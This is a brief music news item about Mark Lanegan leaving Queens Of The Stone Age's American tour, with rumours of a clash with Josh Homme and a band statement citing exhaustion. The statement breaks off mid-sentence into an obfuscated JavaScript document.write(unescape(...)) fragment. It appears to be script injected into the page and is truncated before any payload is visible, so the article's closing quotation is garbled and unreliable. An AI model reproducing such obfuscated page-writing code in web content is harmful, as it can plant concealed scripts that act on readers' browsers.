Rocker Mark Lanegan has left Queens Of The Stone Age's American tour, prompting rumours of a bust-up with frontman Josh homme.
Fans were surprised to find Lanegan on the tour line-up, because he reportedly quit the band after their last road trip, the SONGS FOR THE DEAF TOUR, to focus on his burgeoning solo career.
Sources suggest a clash with Homme may be the real reason for his sudden departure - but the band insist he is suffering from exhaustion.
A statement reads, "Mark Lanegan is taking a brief sabbatical from the ongoing Queens tour due to exhaustion.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;